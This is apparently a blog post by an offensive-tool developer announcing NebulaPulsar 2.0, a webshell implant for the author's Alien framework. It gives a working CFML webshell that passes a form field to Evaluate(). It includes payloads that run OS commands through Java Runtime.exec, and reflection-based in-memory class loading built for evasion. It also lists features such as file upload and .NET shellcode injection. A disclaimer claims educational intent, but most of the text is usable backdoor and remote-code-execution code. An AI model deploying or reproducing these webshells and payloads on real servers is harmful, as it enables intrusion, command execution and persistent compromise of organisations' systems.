NebulaPulsar 2.0: CFM Webshell and New Features

First Post:

Last Update:

Word Count:
1k

Read Time:
6 min

Introduction

This article introduces NebulaPulsar 2.0 (I can’t believe a new version came out this quickly). In addition, it documents my research into developing a webshell for ColdFusion Markup Language (CFML) .

If you are unfamiliar with NebulaPulsar, you may want to read this previous article first: Click me!.

Disclaimer

This tool is intended for educational purposes only and serves as a proof-of-concept for the Alien project. Please do not use it for any illegal purposes. The author is not responsible for any damages caused by this project.

ColdFusion Markup Language

ColdFusion Markup Language, more commonly known as CFML, is a scripting language for web development that runs on the Java virtual machine (JVM), the .NET framework, and Google App Engine. Several commercial and free and open-source software implementations of CFML engines are available, including Adobe ColdFusion, Lucee, New Atlanta BlueDragon (Java and .NET versions), Railo, Open BlueDragon, and other CFML server engines. —— Wikipedia

Why Studying CFML?

Recently, I have been rewritting Alien. My goal is to make Alien capable of targeting multiple platforms. Although CFML is a relatively old language (much older than I am), it is still widely used in both legacy and modern web applications, particularly in academic institutions, healthcare systems, and government agencies.

Therefore, I believe that studying CFML security is still important today.

My First CFM Webshell

At the beginning, after installing Lucee (an open-source CFML engine) on my virtual machine, I could not find any publicly available CFML webshell capable of arbitrary code execution. As a result, I started learning the CFM language itself1 and eventually built my first CFML webshell:

1
<cfif isDefined("form.pass")><cfset Evaluate(form.pass)></cfif>

The CFM webshell can be exploited with the payload below:

1
pass=WriteOutput(dump(server))

At first glance, this seemed sufficient for integrating CFML support into Alien. However, I then realized that the practical implementation would be much more difficult than expected because Evaluate() does not allow multiple statements to be executed directly.

For example, the following payload does not work:

1
pass=WriteOutput("1");WriteOutput("2");

Error!

After studying how evaluate() works in Lucee, I discovered the following workaround:

1
pass=[WriteOutput("<h1>1</h1>"), WriteOutput("<h1>2</h1>")]

It works! However, integrating this approach into Alien would still be difficult because Alien injects an additional wrapper function (EventHorizon) for evasion. In addition, I discovered that there are two major CFML engines: Lucee and Adobe ColdFusion. This means that a payload working on Lucee may not necessarily work on Adobe ColdFusion, making cross-platform support considerbly more challenging…

Breakthroughs

So…had I really ran out all possible options?

Then I remembered that CFML is a scripting language running on the Java Virtual Machine (JVM). After reading the official Lucee documentation, I discovered that it is possible to directly invoke Java classes from CFML.

1
CreateObject("java", "java.lang.Runtime").getRuntime().exec("whoami")

Therefore, the CFM webshell can be exploited with the following payload:

1
pass=WriteOutput(CreateObject("java", "org.apache.commons.io.IOUtils").toString(CreateObject("java", "java.lang.Runtime").getRuntime().exec("cmd.exe /c ipconfig").getInputStream(), "UTF-8"))

At this point, an idea came to mind:

If Java is available inside CFML, can NebulaPulsar be deployed through it?

The answer is YES, with a few modifications. In fact, this eventually lead to a major upgrade: NebulaPulsar 2.0, which is considerably more flexible than the previous version.

NebulaPulsar 2.0

Java

In the previous version, NebulaPulsar directly imported JSP APIs for handling HTTP requests and responses:

1
2
3
PageContext pageContext = (PageContext)obj;
HttpServletResponse response = (HttpServletResponse)pageContext.getResponse();
HttpServletRequest request = (HttpServletRequest)pageContext.getRequest();

These JSP APIs are unavailable in CFML. Although both JSP and CFML run on Java, they are built on different web frameworks and exposes different APIs. One possible solution would be to develop a separate NebulaPulsar implant specifically for CFML.

However, while reviewing one of my previous articles on reverse engineering different RATs, I noticed an interesting implementation: dynamically resolving Windows APIs at runtime for evasion purposes.

So, can I apply the same idea to NebulaPulsar?

The answer is: Absolutely!

Instead of depending on JSP classes directly, NebulaPulsar can obtain the required objects through Java reflection.

1
2
3
4
5
6
7
8
Method fnGetResponse = objPageContext.getClass().getMethod("getResponse", new Class[0]);
objResponse = fnGetResponse.invoke(objPageContext, new Object[0]);

Method fnGetRequest = objPageContext.getClass().getMethod("getRequest", new Class[0]);
objRequest = fnGetRequest.invoke(objPageContext, new Object[0]);

Method fnGetContentLength = objRequest.getClass().getMethod("getContentLength", new Class[0]);
int nContentLength = (Integer)fnGetContentLength.invoke(objRequest, new Object[0]);

What about the ClassLoader used for reflective loading? Fortunately, the overall approach remains the same, we simply need to invoke it through reflection as well.

1
2
3
4
ClassLoader objTransientLoader = new java.net.URLClassLoader(new java.net.URL[0], this);
java.lang.reflect.Method fnDefineMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
fnDefineMethod.setAccessible(true);
clazzTarget = (Class<?>)fnDefineMethod.invoke(objTransientLoader, abClassBytes, 0, abClassBytes.length);

At this point, the major compatibility issue between JSP and CFML had been solved.

1
fnSetAttribute.invoke(objRequest, new Object[]{"pulsar_loader_instance", this});
1
2
3
4
5
Method fnGetRequest = objPageContext.getClass().getMethod("getRequest", new Class[0]);
Object objRequest = fnGetRequest.invoke(objPageContext, new Object[0]);

Method fnGetAttribute = objRequest.getClass().getMethod("getAttribute", new Class[]{String.class});
Object objPulsarLoader = fnGetAttribute.invoke(objRequest, new Object[]{"pulsar_loader_instance"});

With these changes in place, it was finally time to test the new versions of NebulaPulsar and DarkMatter.

New Features for Java and .NET DarkMatter

Since version 2.0, NebulaPulsar has become a sub-project of Alien, serving as a platform for demonstrating new ideas and experimenting with different implementation techniques.

The following features have been added:

  • Java
    • File upload
    • Reflective load (*.class)
  • .NET
    • File upload
    • Reflective load (*.exe)
    • Shellcode injection

In addition, the CFML and JSPX webshells are now available on GitHub.

Demonstration

Upload file

Shellcode injection (.NET)

calc.exe (.NET)

References

1. https://docs.lucee.org/reference/functions/evaluate.html

THANKS FOR READING